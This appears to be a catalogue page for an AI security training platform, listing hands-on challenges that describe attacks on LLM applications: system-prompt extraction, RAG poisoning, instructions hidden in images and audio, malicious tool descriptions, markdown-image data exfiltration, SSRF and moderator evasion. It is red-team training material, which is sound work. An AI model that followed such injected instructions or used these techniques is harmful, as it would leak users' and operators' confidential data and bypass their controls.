AI security training by actually hacking AI

Unsanitized LLM output rendering enables cross-site scripting. Craft prompts that make the model produce executable JavaScript.

Extract hidden system instructions from a multimodal model using prompt rewording and misdirection techniques.

Bypass instruction-only access controls to leak salary data and PII from a knowledge-base-augmented assistant.

Exploit a confused-deputy flaw in a smart home assistant. An outer LLM has constraints — the inner processing pipeline does not.

Trick a text-to-SQL assistant into generating UNION queries that expose a hidden table with credentials.

Upload malicious documents into a RAG pipeline and override legitimate HR policy by exploiting recency bias.

Embed hidden instructions inside receipt images to hijack a vision-model expense scanner.

Inject SYSTEM OVERRIDE commands into meeting audio. The LLM is told to ignore in-transcript directives — break that guardrail.

Social engineer an email AI agent with tool-calling into forwarding confidential board decks and credentials to an external address.

Trick a coding assistant into generating malicious Python that gets executed server-side through an unsandboxed exec() pipeline.

A research assistant fetches URLs the LLM generates. Trick it into requesting internal endpoints — cloud metadata, admin panels, localhost services.

The model has layered defenses: system prompt, input filters, and output guards. Erode all three across a multi-turn conversation to extract the secret.

A web research assistant fetches and summarizes pages. Plant injection payloads on a page that the LLM will read and blindly follow.

An LLM controls role-based access to an internal knowledge base. Escalate from viewer to admin through prompt manipulation — no code exploits needed.

LLM output is rendered as Markdown. Trick the model into generating an image tag whose URL contains exfiltrated secrets as query parameters.

An LLM generates JSON consumed by a pricing API. Inject values into the structured output to set product prices to zero or grant unauthorized discounts.

An agent loads tool definitions dynamically. Inject a malicious tool description that redirects legitimate tool calls to an attacker-controlled handler.

Two LLM agents communicate in a pipeline — a planner and an executor. Inject into the planner context to make the executor perform unauthorized actions.

A RAG system over a private document corpus. Probe embedding similarity to determine whether specific confidential documents exist in the index without ever seeing them.

An LLM moderator reviews user content before publishing. Craft adversarial text that passes moderation but contains policy-violating material invisible to the judge.